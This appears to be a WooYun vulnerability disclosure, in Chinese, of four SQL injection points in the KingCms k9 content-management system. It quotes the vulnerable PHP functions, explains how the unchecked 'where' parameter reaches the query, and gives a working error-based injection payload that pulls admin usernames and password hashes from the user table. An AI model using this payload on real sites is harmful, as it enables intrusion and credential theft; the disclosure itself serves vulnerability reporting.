当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103091

漏洞标题:KingCms最新版(k9)注入4枚打包

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-24 14:36

修复时间:2015-05-08 14:38

公开时间:2015-05-08 14:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)注入4枚打包

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: WooYun: kingcms最新版sql注入漏洞
注入点:POST /apps/content/index.php HTTP/1.1
注入参数:where 问题文件在 /apps/content/index.php
当$cmd分别等于'categroy','content','model','tag'时,会产生4个注入点,这里以$cmd=tag时为例进行说明。

function _create(){
$u=new user;$u->auth_role('content_create');
$db=new db;
$where=kc_get('where',0,1);
$pid=kc_get('pid',2,1);
$rn=kc_get('rn',2,1);
$limit=($rn*($pid-1)).','.$rn.';';
$cmd=kc_get('cmd',array('categroy','content','model','tag'));
$pcount=kc_get('pcount',2,1);
$start=$rn*$pid>$pcount?$pcount:$rn*$pid;

$file=new file;
if($cmd=='content'||$cmd=='model'){
$res_model=$db->getRows_join('%s_content','%s_content_model','id','mid,mtable','mid',$where,'',$limit);
$mtables=array();
$ids=array();

//$ids_test=array();
foreach($res_model as $rs){
$mtables[$rs['mid']]=$rs['mtable'];
$ids[$rs['mid']][]=$rs['id'];
}
foreach($mtables as $mid =>$mtable){
if(!empty($ids[$mid]) && !empty($mid)){
$res=$db->getRows_join('%s_content','%s_content__'.$mtable,'*','*','id',"t1.id in (".implode(',',$ids[$mid]).")",'',999);
foreach($res as $rs){
$rs['TEMPLATE']='content/content/'.$rs['template'];
$file->create($rs['url'],$rs,'apps/content/_content.php');
//$ids_test[]=$rs['id'];
}
}
}
}elseif($cmd=='tag'){
$res=$db->getRows('%s_content_tag','*',$where,'',$limit);
foreach($res as $rs){
$rs['name']=$rs['title']=$rs['tagname'];
$rs['TEMPLATE']='content/tag/'.$rs['template'];
$file->create($rs['url'],$rs);
}
}else{
$res=$db->getRows('%s_content_categroy','*',$where,'',$limit);
foreach($res as $rs){
$rs['TEMPLATE']=preg_match('/^[\w\_]+\.php$/',$rs['template'])?'content/categroy/'.$rs['template']:$rs['template'];
$file->create($rs['url'],$rs);
}
}

$js="\$.kc_progress('#progress_{$cmd}',{$start},{$pcount});";
//$js.="alert('".$where.'|'.$limit.'|||'.implode(',',$mtables)."|||||".implode(',',$ids_test)."');";
$js.=$start==$pcount ? "\$('.Submit').removeAttr('disabled');":"\$.kc_ajax({URL:'".FULLURL."apps/content/index.php',CMD:'create',cmd:'$cmd',where:'$where',pid:".($pid+1).",rn:{$rn},pcount:{$pcount}});";
kc_ajax(array('JS'=>$js));
}


又调用了kc_validate,再去看看

function kc_validate($s,$type){
$reg='';
switch($type){
case 1:$reg='/^[a-zA-Z0-9]+$/';break;
case 2:$reg='/^[0-9]+$/';break;
case 3:$reg='/^([0-9]+,)*[0-9]+$/';break;
case 4:$reg='/^[A-Za-z0-9\_]+$/';break;
case 5:
$reg='/^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/';break;
case 6:
$reg='/^[a-zA-Z]{3,10}:\/\/[^\s]+$/';
break;
case 7:
$reg='/^([a-zA-Z]{3,10}:\/\/)?[^\s]+\.(jpeg|jpg|gif|png|bmp)$/';
break;
case 8:
$reg='/^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29)) (20|21|22|23|[0-1]?\d):[0-5]?\d:[0-5]?\d$/';
break;
case 9:
$reg='/^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29))$/';
break;
case 10:$reg='/^\d?\.\d?\.\d{4}$/';break;
case 11:$reg='/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/';break;
case 12:$reg='/^(\d+(\.\d+)?)$/';break;
case 13:$reg='/^([0-9A-Za-z]+,)*[0-9A-Za-z]+$/';break;
case 14:$reg='/^#?[0-9A-Fa-f]{6}$/';break;
case 15:$reg='/^([a-zA-Z0-9\_\-]+\/)+$/';
$s=preg_replace('/\{([a-zA-Z0-9]+)\}/','$1',$s);//替换{ID}等类型为ID
$path=preg_replace('/(([a-zA-Z0-9\_\-]+\/)*)([a-zA-Z0-9\_\-]+\/)/','$3',$s);
//kc_tip($path,'form');
//if(preg_match('/^[pP]\d+$/',$path)){return false;}
break;
case 17:$reg='/^([a-zA-Z]{3,10}:\/\/)[^\s]+$/';break;
case 18:
$reg='/^((((1[6-9]|[2-9]\d)\d{2})-(0?[13578]|1[02])-(0?[1-9]|[12]\d|3[01]))|(((1[6-9]|[2-9]\d)\d{2})-(0?[13456789]|1[012])-(0?[1-9]|[12]\d|30))|(((1[6-9]|[2-9]\d)\d{2})-0?2-(0?[1-9]|1\d|2[0-8]))|(((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00))-0?2-29)) (20|21|22|23|[0-1]?\d):[0-5]?\d$/';
break;
case 22:$reg='/^(\-|\+)?[0-9]+$/';break;
case 23:$reg='/^[a-zA-Z][a-zA-Z0-9\_]*/';break;
case 24:$reg='/^([a-zA-Z0-9\-_]+\/)+$/';break;
case 25:$reg='/[a-zA-Z0-9\+\%]+(\=)*$/';break;
case 33:$reg='/^(\-?[0-9]+\,?)+$/';break;
case 34:$reg="/^[^\s!-\/:-@\[-`\{-~]+$/";break;
default:$reg=$type;break;
}
//如果为数组类型
if (is_array($reg)) {
$bool=in_array($s,$reg);
}else{
$bool= empty($type)
? true
: (empty($reg) ? false : (bool)preg_match($reg,$s));
}
return $bool;
}


因为在使用kc_get得到where时,参数type是0,因此,kc_validate的参数type也是0,也就使得kc_validate返回true。也就是说再得到where时,没有对where进行类型的检验,可以引入单引号,造成了注入。
$_POST['where']进入$db->getRows,去看看$db->getRows

public function getRows($table,$insql='*',$where=null,$order=null,$limit=null,$group=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.= empty($where) ? '' : " WHERE $where";
$sql.= empty($group) ? '' : " GROUP BY $group";
$sql.= empty($order) ? '' : " ORDER BY $order";
$sql.= empty($limit) ? '' : " LIMIT $limit";
return $this->get($sql);
}


在执行sql语句之前,也没有过滤,这里就造成了注入。
Kingcms可以报错,因此
Payload:

jsoncallback=1&_=11&URL=http%3A%2F%2Flocalhost%2Fapps%2Fcontent%2Fcategroy.php&CMD=create&TID=1&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&pid=1&rn=2&cmd=content&pcount=1&where=0 UNION SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,userpass)FROM king_user LIMIT 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a%23


注入成功,见下图

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝